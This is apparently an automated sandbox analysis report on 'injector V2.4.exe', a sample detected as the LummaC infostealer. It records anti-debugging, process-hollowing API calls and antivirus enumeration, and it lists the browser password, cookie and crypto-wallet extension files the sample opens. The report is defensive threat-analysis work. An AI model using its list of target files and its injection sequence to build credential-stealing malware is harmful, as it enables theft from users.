Source: injector V2.4.exe, 00000004.00000002.2295589364.0000000002B7C000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000002.2295589364.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002B7C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005365000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: injector V2.4.exe, 00000004.00000003.2155622066.0000000005360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\injector V2.4.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 4_2_0043D920 LdrInitializeThunk,

4_2_0043D920

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 0_2_004D5444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_004D5444

Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004CCD10 mov eax, dword ptr fs:[00000030h]	0_2_004CCD10
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004EB18D mov edi, dword ptr fs:[00000030h]	0_2_004EB18D
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004CBD50 mov edi, dword ptr fs:[00000030h]	0_2_004CBD50
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004CBD50 mov edi, dword ptr fs:[00000030h]	3_2_004CBD50
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004CCD10 mov eax, dword ptr fs:[00000030h]	3_2_004CCD10

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 0_2_004D9F90 GetProcessHeap,

0_2_004D9F90

Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004D5444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004D5444
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004D5438 SetUnhandledExceptionFilter,	0_2_004D5438
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004D7DCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004D7DCA
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004D4AD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004D4AD9
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004D5444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_004D5444
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004D5438 SetUnhandledExceptionFilter,	3_2_004D5438
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004D7DCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_004D7DCA
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004D4AD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_004D4AD9

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 0_2_004EB18D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_004EB18D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\injector V2.4.exe

Memory written: C:\Users\user\Desktop\injector V2.4.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.4.exe	Process created: C:\Users\user\Desktop\injector V2.4.exe "C:\Users\user\Desktop\injector V2.4.exe"			Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	Process created: C:\Users\user\Desktop\injector V2.4.exe "C:\Users\user\Desktop\injector V2.4.exe"			Jump to behavior

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 0_2_004D5200 cpuid

0_2_004D5200

Source: C:\Users\user\Desktop\injector V2.4.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 0_2_004D58C5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_004D58C5

Source: C:\Users\user\Desktop\injector V2.4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: injector V2.4.exe, 00000004.00000002.2295589364.0000000002B91000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294286988.0000000002B91000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\injector V2.4.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: injector V2.4.exe PID: 6564, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
